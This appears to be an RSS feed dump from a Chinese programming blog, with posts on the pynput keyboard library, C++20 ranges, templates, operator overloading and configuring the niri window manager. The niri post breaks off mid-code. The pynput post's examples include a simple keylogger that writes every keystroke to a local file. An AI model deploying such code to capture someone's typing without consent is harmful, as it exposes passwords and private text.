&gt; 此库允许您控制和监视输入设备。 ──官方文档
[pynput pypi下载页](https://pypi.org/project/pynput/)
[read the docs官方文档](https://pynput.readthedocs.io/en/latest/index.html)

:::warning
这篇博客最早写于23年，最近找回来清库存，有些内容可能已经过时
:::

~~话说为什么python包都喜欢用Read The Docs做文档~~

想要使用python控制/监听键盘/鼠标行为，可以尝试`pynput`

以下我来介绍`pynput`中常用的键盘类，即`pynput.keyboard`。

&gt; 或者尝试`pyautogui`，除了对于键鼠的控制，它提供了更多包括消息窗口、截图等功能。

## Controller 模拟键盘按键

### 导入

使用前，导入`Controller`，并且实例化，同时，导入按键映射表`Key`

```python
from pynput.keyboard import Key, Controller 

keyboard = Controller()
```

### 模拟按键

#### 单个按键

使用`keyboard.press`来模拟按下按键，然后通过`keyboard.release`模拟松开，两个函数都接受传入字符串，所以可以直接打出大写字母。

```python
keyboard.press(Key.space) keyboard.release(Key.space)

keyboard.press(&apos;a&apos;)
keyboard.release(&apos;a&apos;)

keyboard.press(&apos;A&apos;)
keyboard.release(&apos;A&apos;)
```

或者使用按下`Shift`键来打出大写字母。

```python
# 直接按下shift不放
keyboard.press(Key.shift)
keyboard.press(&apos;a&apos;)
keyboard.release(&apos;a&apos;)
keyboard.release(Key.shift)

# 或者使用上下文管理语句with，更推荐
with keyboard.pressed(Key.shift):
    keyboard.press(&apos;a&apos;)
    keyboard.release(&apos;a&apos;)
```

#### 一串字符

使用`type()`方法来方便地打印一串字符，其内部实现其实也是通过`press()`和`release()`来遍历这个字符串。

```python
# 快速输入一段文本
keyboard.type(&apos;Hello, World!&apos;)

# 输入包含特殊字符的文本
keyboard.type(&apos;Special chars: !@#$%^&amp;*()&apos;)
```

markdown




---
title: pynput第三方库
published: 2025-10-02
image: &apos;&apos;
tags: [&apos;Python&apos;]
category: &apos;Python&apos;
draft: false 
---

# pynput第三方库

&gt; 此库允许您控制和监视输入设备。 ──官方文档
[pynput pypi下载页](https://pypi.org/project/pynput/)
[read the docs官方文档](https://pynput.readthedocs.io/en/latest/index.html)

~~话说为什么python包都喜欢用Read The Docs做文档~~

想要使用python控制/监听键盘/鼠标行为，可以尝试`pynput`。这是一个功能强大且易于使用的库，能够帮助你实现各种输入设备的控制和监听功能。

以下我来介绍`pynput`中常用的键盘类，即`pynput.keyboard`。

&gt; 或者尝试`pyautogui`，除了对于键鼠的控制，它提供了更多包括消息窗口、截图等功能。

## Controller 模拟键盘按键

### 导入

使用前，导入`Controller`，并且实例化，同时，导入按键映射表`Key`

```python
from pynput.keyboard import Key, Controller 

keyboard = Controller()
```

### 模拟按键

#### 单个按键

使用`keyboard.press`来模拟按下按键，然后通过`keyboard.release`模拟松开，两个函数都接受传入字符串，所以可以直接打出大写字母。

```python
# 模拟空格键
keyboard.press(Key.space) 
keyboard.release(Key.space)

# 模拟普通字母
keyboard.press(&apos;a&apos;)
keyboard.release(&apos;a&apos;)

# 模拟大写字母
keyboard.press(&apos;A&apos;)
keyboard.release(&apos;A&apos;)
```

或者使用按下`Shift`键来打出大写字母。

```python
# 直接按下shift不放
keyboard.press(Key.shift)
keyboard.press(&apos;a&apos;)
keyboard.release(&apos;a&apos;)
keyboard.release(Key.shift)

# 或者使用上下文管理语句with，更推荐
with keyboard.pressed(Key.shift):
    keyboard.press(&apos;a&apos;)
    keyboard.release(&apos;a&apos;)
```

#### 一串字符

使用`type()`方法来方便地打印一串字符，其内部实现其实也是通过`press()`和`release()`来遍历这个字符串。

```python
# 快速输入一段文本
keyboard.type(&apos;Hello, World!&apos;)

# 输入包含特殊字符的文本
keyboard.type(&apos;Special chars: !@#$%^&amp;*()&apos;)
```

#### 组合键

使用`pressed()`方法可以方便地实现组合键的操作：

```python
# Ctrl+C 复制
with keyboard.pressed(Key.ctrl):
    keyboard.press(&apos;c&apos;)
    keyboard.release(&apos;c&apos;)

# Alt+Tab 切换窗口
with keyboard.pressed(Key.alt):
    keyboard.press(Key.tab)
    keyboard.release(Key.tab)

# Ctrl+Alt+Delete 任务管理器
with keyboard.pressed(Key.ctrl):
    with keyboard.pressed(Key.alt):
        keyboard.press(Key.delete)
        keyboard.release(Key.delete)
```

## Listener 监听键盘事件

### 基本使用

`pynput`不仅可以模拟按键，还可以监听键盘事件。使用`Listener`类可以实现对键盘输入的监听。

```python
from pynput.keyboard import Listener

def on_press(key):
    print(f&apos;按键 {key} 被按下&apos;)

def on_release(key):
    print(f&apos;按键 {key} 被释放&apos;)
    if key == Key.esc:
        # 停止监听
        return False

# 创建监听器
with Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()
```

### 高级用法

#### 特殊按键处理

```python
from pynput.keyboard import Key, Listener

def on_press(key):
    try:
        print(f&apos;字母键 {key.char} 被按下&apos;)
    except AttributeError:
        print(f&apos;特殊键 {key} 被按下&apos;)

def on_release(key):
    if key == Key.esc:
        return False

with Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()
```

#### 热键注册

```python
from pynput.keyboard import Key, Listener, HotKey

# 定义热键功能
def on_activate():
    print(&apos;热键被触发！&apos;)

# 创建热键
hotkey = HotKey(
    Key.f1,  # 触发键
    on_activate  # 触发函数
)

def for_canonical(f):
    return lambda k: f(hotkey.canonical(k))

# 监听键盘
with Listener(
        on_press=for_canonical(hotkey.press),
        on_release=for_canonical(hotkey.release)) as listener:
    listener.join()
```

## 实际应用示例

### 1. 自动化文本输入器

```python
from pynput.keyboard import Controller, Key
import time

keyboard = Controller()

# 等待5秒，以便切换到目标窗口
time.sleep(5)

text = &quot;&quot;&quot;
这是一个自动输入的示例。
可以用来快速输入重复性文本。
&quot;&quot;&quot;

keyboard.type(text)
```

### 2. 简单的按键记录器

```python
from pynput.keyboard import Listener
import logging

logging.basicConfig(
    filename=&apos;key_log.txt&apos;,
    level=logging.DEBUG,
    format=&apos;%(asctime)s: %(message)s&apos;
)

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
```

### 3. 游戏辅助工具（示例：自动连发）

```python
from pynput.keyboard import Controller, Key, Listener
import threading
import time

keyboard = Controller()
auto_fire = False

def auto_fire_thread():
    while True:
        if auto_fire:
            keyboard.press(&apos;z&apos;)
            time.sleep(0.1)
            keyboard.release(&apos;z&apos;)
            time.sleep(0.1)

def on_press(key):
    global auto_fire
    if key == Key.f1:
        auto_fire = not auto_fire
        print(f&apos;自动连发: {&quot;开启&quot; if auto_fire else &quot;关闭&quot;}&apos;)

# 启动自动连发线程
threading.Thread(target=auto_fire_thread, daemon=True).start()

# 监听键盘
with Listener(on_press=on_press) as listener:
    listener.join()
```

:::note
- 在某些系统上（特别是macOS），可能需要额外的权限才能使用键盘监听功能。
- Linux上似乎只支持X协议，或uniput必须以root运行
:::</content:encoded></item><item><title>Ranges</title><link>https://blog.erina.top/blog/c-ranges/</link><guid isPermaLink="true">https://blog.erina.top/blog/c-ranges/</guid><description>C++20 在 std::ranges 命名空间中提供了大多数算法的受限版本，也就是受限算法，并且引入了范围库（Ranges Library），其可组合且不易出错，功能更加强大。</description><content:encoded># Ranges

&gt; C++20 在`std::ranges`命名空间中提供了大多数算法的受限版本，也就是受限算法，并且引入了范围库`（Ranges Library）`，其可组合且不易出错，功能十分强大  
&gt; ~~让高贵的C++20玩家迭代器跟python的一样好用~~

## 视图 views

views 可以以用管道符 | 组合多个视图和算法，并且它们拥有惰性计算的特性，即不会立即计算结果，而是按需生成。

通常，我们直接在`range-based loops`中使用views过滤和更改特定的值，使代码更加简洁


* **示例(filter)：**
```cpp
#include &lt;iostream&gt;
#include &lt;ranges&gt;
#include &lt;vector&gt;

int main() {
    std::vector&lt;int&gt; nums = {1, 2, 3, 4, 5, 6};

    //定义lambda函数even
    auto even = [](int n) { return n % 2 == 0; };

    // 过滤偶数
    for (auto&amp; x : nums | std::views::filter(even)) {
        std::cout &lt;&lt; x &lt;&lt; &quot; &quot;;
    }
    // 输出：2 4 6
}
```

* **示例(transform)：**
```cpp
#include &lt;iostream&gt;
#include &lt;ranges&gt;
#include &lt;vector&gt;

int main() {
    std::vector&lt;int&gt; nums = {1, 2, 3, 4, 5, 6};

    auto even = [](int n) { return n % 2 == 0; };
    auto pow = [](int n) { return n * n; };

    for (auto x : nums | std::views::filter(even) | std::views::transform(pow)) {
        std::cout &lt;&lt; x &lt;&lt; &quot; &quot;;
    }
    // 输出：4 16 36
}
```

* **示例(enumerate、reverse)：**
```cpp
#include &lt;iostream&gt;
#include &lt;ranges&gt;

int main() {
    auto const numbers = {3, 1, 4, 1, 5, 9, 2, 6};

    for (auto [index, value]: numbers | std::views::enumerate | std::views::reverse) {
        std::cout &lt;&lt; index &lt;&lt; &quot;: &quot; &lt;&lt; value &lt;&lt; &apos;\n&apos;;
    }

    return 0;
}

```
* **输出：**
```
7: 6
6: 2
5: 9
4: 5
3: 1
2: 4
1: 1
0: 3
```


## 受限函数
C++20 在 `&lt;algorithm&gt;` 头文件中为大多数算法都增加了定义于`std::ranges::`的版本，这些函数可以直接传入容器、view 或自定义范围对象，而不需要手动指定迭代器，比如：
- `std::ranges::sort`
- `std::ranges::find`
- `std::ranges::min_element`
- `std::ranges::max_element`
- `std::ranges::reverse`
- `std::ranges::copy`
- `std::ranges::copy_if`
- `std::ranges::for_each`

* **示例(sort)**
```cpp
#include &lt;vector&gt;
#include &lt;ranges&gt;
#include &lt;algorithm&gt;
#include &lt;iostream&gt;

int main() {
    std::vector&lt;int&gt; v = {5, 2, 8, 1};
    std::ranges::sort(v); // 直接对容器排序

    for (const auto&amp; i : v) { std::cout &lt;&lt; i &lt;&lt; &apos; &apos;; }
    //输出 1 2 5 8
}
```

* **示例(min_element/min)**
```cpp
#include &lt;vector&gt;
#include &lt;ranges&gt;
#include &lt;algorithm&gt;
#include &lt;iostream&gt;

int main() {
    std::vector&lt;int&gt; v = {5, 2, 8, 1};

    auto it = std::ranges::min_element(v); //返回一个迭代器
    if (it != v.end()) { std::cout &lt;&lt; *it &lt;&lt; &apos; &apos;; }

    auto min = std::ranges::min(v); //直接返回值
    std::cout &lt;&lt; min;
}
```

* **示例(next_permutation)**

~~来猴戏一下全排列~~

```cpp
#include &lt;algorithm&gt;
#include &lt;iostream&gt;
#include &lt;string&gt;

int main() {
	std::string a {&quot;abc&quot;};
	do {
		for (const auto&amp; i : a) { std::cout &lt;&lt; i &lt;&lt; &quot; &quot;; }
		std::cout &lt;&lt; &quot;\n&quot;;
	} while (std::ranges::next_permutation(a).found);
}
```

~~猴戏还得是python~~

```python title=&quot;python&quot;
from itertools import permutations

a: str = &quot;abc&quot;
for p in permutations(a):
    print(&apos; &apos;.join(p))
```

* **输出：**
```
a b c
a c b
b a c
b c a
c a b
c b a
```

:::note
为了防止悬空迭代器，view（比如 filter 之后的结果）只返回`std::ranges::dangling`，正如其名，这个类型不是实际的容器，不能被受限函数们直接使用
:::

如果希望保存views的结果，我们需要手动收集，**例如**：

```cpp {11, 12, 14-18}
#include &lt;iostream&gt;
#include &lt;vector&gt;
#include &lt;ranges&gt;
#include &lt;algorithm&gt;

int main() {
    auto const numbers = {3, 1, 4, 1, 5, 9, 2, 6};

    auto even = [](int n) { return n % 2 == 0; };

    // 使用 std::ranges::to 收集 （C++23)
    std::vector&lt;int&gt; evens = std::ranges::to&lt;std::vector&lt;int&gt;&gt;(numbers | std::views::filter(even));

    // 直接遍历收集
    std::vector&lt;int&gt; evens;
    for (int n : numbers | std::views::filter(even)) {
        evens.push_back(n);
    }

    auto min = std::ranges::min_element(evens); //✔

    if (min != evens.end()) { std::cout &lt;&lt; *min &lt;&lt; std::endl; }

    return 0;
}

```

---

参考文献：

[Ranges library (since C++20) - cppreference.com](https://en.cppreference.com/w/cpp/ranges.html)  
[范围库（C++20 起）- cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/ranges)  
[受限算法（C++20 起）- cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/algorithm/ranges)</content:encoded></item><item><title>template模板</title><link>https://blog.erina.top/blog/template%E6%A8%A1%E6%9D%BF/</link><guid isPermaLink="true">https://blog.erina.top/blog/template%E6%A8%A1%E6%9D%BF/</guid><description>C++ 模板 模板函数/类可以处理任意类型（泛型），编译时自动生成对应类型的代码。 模板函数 在这里，type 是函数所使用的数据类型的占位符名称。 实例 下面是函数模板的实例，返回两个数中的最大值： 输出 实例2 使用template模板实现的快读 模板类 实例 参考文献： 模板 - cppreference.cn...</description><content:encoded># C++ 模板

&gt; 模板函数/类可以处理任意类型（泛型），编译时自动生成对应类型的代码。

## 模板函数
```cpp
template &lt;typename type&gt;
return-type func-name(parameter list) {
   // 函数的主体
}
```
在这里，`type` 是函数所使用的数据类型的占位符名称。

### 实例
&gt; 下面是函数模板的实例，返回两个数中的最大值：
```cpp
#include &lt;iostream&gt;
#include &lt;string&gt;

using std::cout;

template &lt;typename T&gt;
inline T const&amp; Max (T const&amp; a, T const&amp; b) { 
    return a &lt; b ? b:a; 
} 
int main () {
    int i = 39;
    int j = 20;
    cout &lt;&lt; &quot;Max(i, j): &quot; &lt;&lt; Max(i, j) &lt;&lt; &apos;\n&apos;; 

    double f1 = 13.5; 
    double f2 = 20.7; 
    cout &lt;&lt; &quot;Max(f1, f2): &quot; &lt;&lt; Max(f1, f2) &lt;&lt; &apos;\n&apos;; 

    std::string s1 = &quot;Hello&quot;; 
    std::string s2 = &quot;World&quot;; 
    cout &lt;&lt; &quot;Max(s1, s2): &quot; &lt;&lt; Max(s1, s2) &lt;&lt; &apos;\n&apos;; 

    return 0;
}
```

* **输出**

``` 
Max(i, j): 39
Max(f1, f2): 20.7
Max(s1, s2): World
```

### 实例2
&gt; 使用`template模板`实现的快读
```cpp
#include&lt;iostream&gt;

using std::cout;

template &lt;typename T&gt;
inline void read(T&amp; a)
{
	int s = 0, w = 1;
	char ch = getchar();
	while (ch &lt; &apos;0&apos; || ch&gt;&apos;9&apos;) {
		if (ch == &apos;-&apos;)
			w = -1;
		ch = getchar();
	}
	while (ch &gt;= &apos;0&apos; &amp;&amp; ch &lt;= &apos;9&apos;) {
		s = s * 10 + ch - &apos;0&apos;;
		ch = getchar();
	}
	a = s * w;
}

int main() {
    int n;
    read(n);
    cout &lt;&lt; n &lt;&lt; &apos;\n&apos;;
}
```

## 模板类

### 实例
```cpp
template&lt;typename T&gt;
class Box {
public:
    T value;
};
```






---

参考文献：

[模板 - cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/language/templates)  
[Templates - cppreference.com](https://en.cppreference.com/w/cpp/language/templates.html)  
[C++ Templates Introduction | hacking C++](https://hackingcpp.com/cpp/lang/templates.html)</content:encoded></item><item><title>重载操作符</title><link>https://blog.erina.top/blog/%E9%87%8D%E8%BD%BD%E6%93%8D%E4%BD%9C%E7%AC%A6/</link><guid isPermaLink="true">https://blog.erina.top/blog/%E9%87%8D%E8%BD%BD%E6%93%8D%E4%BD%9C%E7%AC%A6/</guid><description>重载操作符 重载操作符Operator overloading是C++中一种特殊的语法，允许我们自定义一些运算符的行为，使它们能够用于自定义的数据类型。 例如，我们可以自定义一个加法运算符，使它能够直接对两个自定义类型的对象进行相加，而不需要额外的函数调用。这样可以使代码更加简洁、易读，并且提高了可重用性。 C++中可...</description><content:encoded># 重载操作符

**重载操作符Operator overloading**是C++中一种特殊的语法，允许我们自定义一些运算符的行为，使它们能够用于自定义的数据类型。

&gt; 例如，我们可以自定义一个加法运算符，使它能够直接对两个自定义类型的对象进行相加，而不需要额外的函数调用。这样可以使代码更加简洁、易读，并且提高了可重用性。

C++中可以重载的运算符包括`算术运算符`、`关系运算符`、`逻辑运算符`、`位运算符`等等。**需要注意的是，不能重载的运算符有:**

作用域运算符 `::`、成员访问运算符 `.`和`-&gt;`、三目运算符 `?:`、sizeof运算符和类型转换运算符 `typeid`。

## 基本语义
```cpp
return_type operator operator_symbol (parameters) {
    // 函数体
}
```


## 例如

### 定义

在类中定义一个函数 `operator+`，如下重载`加法`运算符

```cpp
class Complex {
public:
    double real, imag;
    Complex operator + (const Complex&amp; other) const {
        Complex res;
        res.real = real + other.real;
        res.imag = imag + other.imag;
        return res;
    }
};
```

或者在类定义外重载

```cpp
struct Complex {
    int real;
    int imag;
};

Complex operator + (Complex const&amp; a, Complex const&amp; b) {
    return Complex{a.real + b.real, a.imag + b.imag};
}
```
### 解释
- `const Complex&amp; other`：表示右操作数（即 a + b 中的 b）的常量引用
- `const`：函数末尾的`const`表示该函数不会修改当前对象（即左操作数 a 的值）。

### 主函数

```cpp
int main() {
    Complex c1 {1.0, 2.0};
    Complex c2 {3.0, 4.0};
    Complex c3 = c1 + c2;
    cout &lt;&lt; c3.real &lt;&lt; &quot; &quot; &lt;&lt; c3.imag &lt;&lt; endl;

    return 0;
}
```

### 调用方式

当我们写 `a + b` 时，编译器会将其转换为 `a.operator+(b)`。

**输出结果为：**

```
4 6
```

## 再比如：

我们可以定义一个`结构体类型`表示这两个复数在`复平面`内的坐标，并重载加法运算符，使得我们可以直接对两个虚数进行相加。

### 示例代码

* **定义结构体**

```cpp
struct Complex {
    double x, y;
    Complex operator+ (const Complex&amp; other) const {
        return Complex {x + other.x, y + other.y};
    }
};
```

* **主函数**

```cpp
int main() {
    Complex c1 {1.0, 2.0};
    Complex c2 {3.0, 4.0};
    Complex c3 = c1 + c2;
    cout &lt;&lt; c3.x &lt;&lt; &quot; &quot; &lt;&lt; c3.y &lt;&lt; endl;
    return 0;
}
```

**输出结果为：**

```
4 6
```

## 或者

重载`&lt;&lt;`和`&gt;&gt;`移位运算符到输入输出流

```cpp
struct Point {
    int x;
    int y;
    friend std::ostream&amp; operator &lt;&lt; (std::ostream&amp; os, Point const&amp; p) {
        return os &lt;&lt; &apos;(&apos; &lt;&lt; p.x &lt;&lt; &apos;,&apos; &lt;&lt; p.y &lt;&lt; &apos;)&apos;;
    }
    friend std::istream&amp; operator &gt;&gt; (std::istream&amp; is, Point&amp; p) {
        return is &gt;&gt; p.x &gt;&gt; p.y;
    }
};
```

* **注意**：这里我们使用`friend`关键字将`operator&lt;&lt;`声明为友元函数，这是因为根据operater的调用方式，当我们使用 std::cout &lt;&lt; p 时，`cout`是左操作数，`p`是右操作数，则会被调用为`p.operator&lt;&lt;(cout)`，即`p &lt;&lt; cout`
* 这显然与我们实际使用的`cout &lt;&lt; p`不符，将`operator&lt;&lt;`声明为友元函数后，就可以访问`Point`的私有成员，从而正常实现我们预期的重载

- 实际上，想要正确调用C++ 的流操作符重载机制，就必须要一个形如 `std::istream&amp; operator&gt;&gt;(std::istream&amp;, Point&amp;) `的非成员函数或友元函数，


* 所以上面的代码等同于：

```cpp
std::ostream&amp; operator &lt;&lt; (std::ostream&amp; os, Point const&amp; p) {
    return os &lt;&lt; &apos;(&apos; &lt;&lt; p.x &lt;&lt; &apos;,&apos; &lt;&lt; p.y &lt;&lt; &apos;)&apos;;
}

std::istream&amp; operator &gt;&gt; (std::istream&amp; is, Point&amp; p) {
    return is &gt;&gt; p.x &gt;&gt; p.y;
}
```

* **主函数**

```cpp
int main () {
    Point p {1,2};
    cout &lt;&lt; p &lt;&lt; &apos;\n&apos;;   // prints (1,2)

    cin &gt;&gt; p;  // 读入p.x and p.y

    cout &lt;&lt; &quot;p: &quot; &lt;&lt; p &lt;&lt; &apos;\n&apos;;
}

```

## 当然

于是我们便可以使用重载操作符的方法替换`cmp函数`：

* **定义结构体**

```cpp
struct Edge {
    int u, v, w;
    bool operator&lt;(const Edge &amp;other) const {
        return w &lt; other.w;
    }
} e[maxn];
```

* **主函数**

```cpp
int main() {
    int n, m;
    cin &gt;&gt; n &gt;&gt; m;

    for (int i = 1; i &lt;= m; i++) {
        cin &gt;&gt; e[i].u &gt;&gt; e[i].v &gt;&gt; e[i].w;
    }

    sort(e + 1, e + m + 1);
```

**很显然了，** 在这里我们重载了`小于号运算符`，使得Edge类型的对象可以进行比较，并且满足严格弱序关系，所以可以使用`sort函数`对`Edge类型`的对象进行排序，相当于另写一个`cmp函数`，**所以，下面的代码效果是一样的:**

```cpp
#include &lt;bits/stdc++.h&gt;
using namespace std;

const int maxn = 1e5 + 5;
int fa[maxn];

struct Edge {
    int u, v, w;
} e[maxn];

int find(int x) {
    return x == fa[x] ? x : fa[x] = find(fa[x]);
}

//-------------------------------------------------------
bool cmp(Edge x, Edge y) {
    return x.w &lt; y.w;
}
//-------------------------------------------------------

int main() {
    int n, m;
    cin &gt;&gt; n &gt;&gt; m;

    for (int i = 1; i &lt;= m; i++){
        cin &gt;&gt; e[i].u &gt;&gt; e[i].v &gt;&gt; e[i].w;
    }

//-------------------------------------------------------
    sort(e + 1, e + m + 1, cmp);
//-------------------------------------------------------

    for (int i = 1; i &lt;= n; i++) {
        fa[i] = i;
    }

    int ans = 0, cnt = 0;
    for (int i = 1; i &lt;= m; i++) {
        int fu = find(e[i].u), fv = find(e[i].v);
        if (fu != fv){
            fa[fu] = fv;
            ans += e[i].w;
            cnt++;
        }
        if (cnt == n - 1){
            break;
        }
    }

    cout &lt;&lt; ans &lt;&lt; &apos;\n&apos;;

    return 0;
}
```</content:encoded></item><item><title>niri快速配置</title><link>https://blog.erina.top/blog/niri/</link><guid isPermaLink="true">https://blog.erina.top/blog/niri/</guid><description>niri是一个Wayland窗口管理器，采用滚动平铺的窗口布局。并且提供内置的截图、屏幕录制、丰富的触控板和鼠标手势支持等功能</description><content:encoded># niri快速配置

::github{repo=&quot;YaLTeR/niri&quot;}

## 什么是niri
&gt; niri是一个由Rust编写Wayland窗口管理器，采用滚动平铺的窗口布局。并且提供内置的截图、屏幕录制、丰富的触控板和鼠标手势支持等功能。

### 特性
- 类似 GNOME 的动态工作区
- - 提供Overview模式，可缩放查看工作区和窗口
- 通过 xdg-desktop-portal-gnome 支持显示器和窗口的屏幕录制
- - 可以在屏幕录制时屏蔽敏感窗口
- - 支持动态切换录制目标
- 支持触摸板和鼠标手势
- 可将窗口分组为标签页
- 可配置的布局：间距、边框、支柱、窗口大小
- 支持 Oklab 和 Oklch 的渐变边框
- 支持自定义着色器的动画效果
- 配置文件支持实时重载REDME
&gt; 译自niri github REDME

## X11支持
要写在前面的是关于niri对于x11的支持情况。实际上，niri的作者直接表明[X11 is very cursed](https://yalter.github.io/niri/Xwayland.html#using-xwayland-run-to-run-xwayland)，所以niri暂时不会有内置的x11兼容方案，不同于Hyprlnd采用`wlroots`实现内置`XWayland`的解决方案，niri目前仅能通过第三方的软件支持运行`XWayland`，如`xwayland-satellite`、`xwayland-run`等 (下个版本niri将会内置xwayland-satellite，曲线救国了算是)，如果你的工作区离不开`X11`，或需要高性能的`X11`环境,niri可能不那么适合你😮‍💨

### xwayland-satellite解决方案
1. 根据[niri wiki](https://yalter.github.io/niri/Xwayland.html#using-xwayland-run-to-run-xwayland)介绍，首先通过你的包管理器下载`xwayland-satellite`

```bash
# Arch 需要启用extra存储库
sudo pacman -S xwayland-satellite
```

2. 设置xwayland-satellite为自启动
```
// ~/.config/niri/config.kdl
spawn-at-startup &quot;xwayland-satellite&quot;
```
&gt; 关于这里语句的意义，我们在接下来的内容将会介绍

3. 配置显示环境变量
首先运行一次`xwayland-satellite`，观察输出，找到显示序号`Xwayland :n`：
```bash
INFO  xwayland_satellite         &gt; Connected to Xwayland on :2
```
接着将其写入配置文件
```
// ~/.config/niri/config.kdl
environment {
    DISPLAY &quot;:2&quot;
}
```
或者，你还可以使用`xwayland-satellite :12`来要求xwayland-satellite使用指定的DISPLAY number

## 配置
niri 中 `Input`，`Outputs`，`Key Bindings`，`Switch Events`，`Layout`，`Named Workspaces`，`Miscellaneous`，`Window Rules`，`Layer Rules`，`Animations`，`Gestures`，`Debug Options`都支持在配置文件 `~/.config/niri/config.kdl` 中更改

配置文件使用kdl (递归命名`KDL Document Language`)，这是一个比较小众的配置文件语言，它具有类似`XML`的节点语法，在这里，我们不深入讨论KDL的具体语法，实际上，如果你使用过`XML`、`JSON`等配置文件，你可以很快掌握kdl的基本语法

下面，我将介绍一些常用的配置，更具体的内容可以自行在[wiki](https://github.com/YaLTeR/niri/wiki/Configuration:-Introduction)中查阅

### 开机启动
```
// ~/.config/niri/config.kdl
spawn-at-startup &quot;xwayland-satellite&quot;
spawn-at-startup &quot;qs&quot; &quot;-c&quot; &quot;dms&quot;
spawn-at-startup &quot;~/.config/niri/scripts/Polkit.sh&quot;
```
设置软件开机自启，需要传参的用空格和引号分开，也可以给入一个文件位置来打开

### Input

&lt;details&gt;
    &lt;summary&gt; 查看折叠的代码 &lt;/summary&gt;

```
// ~/.config/niri/config.kdl
input {
    keyboard {
        repeat-delay 300
        repeat-rate 40

        numlock
    }

    touchpad {
        // off
        tap
        // dwt
        // drag false
        // drag-lock
        natural-scroll
        // accel-speed 0.2
        // accel-profile &quot;flat&quot;
        // scroll-method &quot;two-finger&quot;
    }

    mouse {
        // off
        // natural-scroll
        // accel-speed 0.2
        accel-profile &quot;flat&quot;
        // scroll-method &quot;no-scroll&quot;
    }

    // warp-mouse-to-focus

    // focus-follows-mouse max-scroll-amount=&quot;0%&quot;
    workspace-auto-back-and-forth
}
```

&lt;/details&gt;

#### Keyboard
1. `repeat-delay`: 长按某个键多久后触发连点
2. `repeat-rate`：每秒多少个字符
3. `numlock`：开机时自动打开数字键

#### touchpad
&gt; `niri`触控板支持三指左右滑动滚动窗口，三指上下滑动切换工作空间，四指快速滑动打开`Overview`（默认快捷键为`Mod`+`O`）
1. `tap`：点击功能
2. `dwt`：disable-when-typing，打字时禁用
3. `drag`：点击后拖动，值为`true`或`false`
4. `drag-lock`：拖动时放手保持拖动一段时间
5. `natural-scroll`：反转双指滚动方向，设置时才是符合直觉的滚动方式

#### mouse
1. `natural-scroll`：同上，不设置时反而是符合直觉的滚动方式
2. `accel-speed`：速度
3. `accel-profile`：鼠标加速方案，值为`adaptive`表加速 或 `flat`不加速

#### 其他
1. `warp-mouse-to-focus`：切换焦点窗口时移动鼠标，默认值为`mode=&quot;center-xy&quot;`，如果切换焦点后光标不在窗口内就跳转光标到窗口中心，反之不移动。`mode=&quot;center-xy-always&quot;`为始终跳转
2. `focus-follows-mouse`：使焦点自动根据光标位置切换，可以设置`max-scroll-amount=&quot;n%&quot;`，设置后如果焦点跟随光标会导致视图滚动超过设定的量，则不会切换焦点
3. `workspace-auto-back-and-forth`：使用索引切换工作空间时，如果通过索引切换到当前工作空间，将会自动切换到上一个工作空间


### Cursor
```
// ~/.config/niri/config.kdl
cursor {
    xcursor-theme &quot;Bibata-Modern-Ice&quot;
    xcursor-size 24
}
```
设置光标主题和大小

### Overview
```
// ~/.config/niri/config.kdl
overview {
    backdrop-color &quot;#282828&quot;
    workspace-shadow {
        off
    }
}
```
设置Overview背景色

### Layout
&lt;details&gt;
    &lt;summary&gt; 查看折叠的代码 &lt;/summary&gt;

```
// ~/.config/niri/config.kdl
layout {
    gaps 8
    center-focused-column &quot;never&quot;

    preset-column-widths {
        proportion 0.2
        proportion 0.4
        proportion 0.6
        proportion 0.8
    }
    preset-window-heights {
        proportion 0.25
        proportion 0.5
        proportion 0.75
        proportion 1.0
    }

    default-column-width { proportion 0.5; }

    focus-ring {
        off
        width 4
        active-color &quot;#7fc8ff&quot;
        inactive-color &quot;#505050&quot;
        active-gradient from=&quot;#C65B82&quot; to=&quot;#09157B&quot; angle=135
        inactive-gradient from=&quot;#C65B82&quot; to=&quot;#09157B&quot; angle=135 relative-to=&quot;workspace-view&quot;
    }

    border {
        // off
        width 4
        // active-color &quot;#ffc87f&quot;
        // inactive-color &quot;#505050&quot;
        urgent-color &quot;#9b0000&quot;
        active-gradient from=&quot;#C65B82&quot; to=&quot;#09157B&quot; angle=135 relative-to=&quot;workspace-view&quot; in=&quot;oklch longer hue&quot;
        inactive-gradient from=&quot;#505050&quot; to=&quot;#808080&quot; angle=45 relative-to=&quot;workspace-view&quot;
    }

    shadow {
        //on
        softness 1
        spread 1
        offset x=0 y=5
        color &quot;#0007&quot;
    }

    struts {
        // left 64
        // right 64
        // top 64
        // bottom 64
    }
}
```

&lt;/details&gt;


1. `gaps`：窗口之间的间隔
2. `center-focused-column`：控制窗口在显示器上居中的行为
- - `never`：（默认值）不居中，当聚焦的列会显示屏幕的左边缘或右边缘。
- - `always`：被聚焦的列将始终居中显示。
- - `on-overflow`：当聚焦的列与之前聚焦的列无法同时显示在屏幕上时，会将该列居中显示。


#### column
1. `preset-window-widths` 使用快捷键(默认是`Mod`+`R`)调整窗口时的宽度
2. `preset-window-heights` 使用快捷键(默认是`Mod`+`Shift`+`R`)调整窗口时的高度
3. `default-column-width` 打开新窗口时的默认宽度
- 值为`proportion 0.66667` 表对于的屏幕的占比，比如示例的2/3
- 或 `fixed 1280` 表固定的像素数

#### focus-ring、border
&gt; focus-ring和border的区别在于：focus ring只围绕活动窗口绘制，而borders会围绕所有窗口绘制，并且会影响窗口的大小
1. `width`：显然是宽度，单位为像素，但是可以填入小数，在设置了缩放后会被计算
2. `active-color`：焦点窗口装饰的颜色
3. `inactive-color`：所有其他窗口装饰的颜色
4. `active-gradient`：`active-color`的渐变版
5. `inactive-gradient`：`inactive-color`的渐变版
- - 渐变颜色可以添加`relative-to=&quot;workspace-view&quot;`值表示全部窗口一起渐变，不设置则为各自渐变。同时它们支持类似`css`的渐变插值，你可以使用类似 `in=&quot;srgb-linear&quot;` 或 `in=&quot;oklch longer hue&quot;` 的语法来设置
6. 所有的颜色支持以下的方式定义
- - CSS 命名颜色：如 `red`
- - RGB 十六进制：如 `#rgb`、`#rgba`、`#rrggbb`、`#rrggbbaa`
- - CSS 类似表示法：如 `rgb(255, 127, 0)`、`rgba()`、`hsl()` 等几种格式。

#### 窗口圆角
看到这儿，你可能迫不及待的想要设置窗口圆角了，我就在这里提前告诉你，我们可以通过设置窗口规则来定义圆角：
```
window-rule {
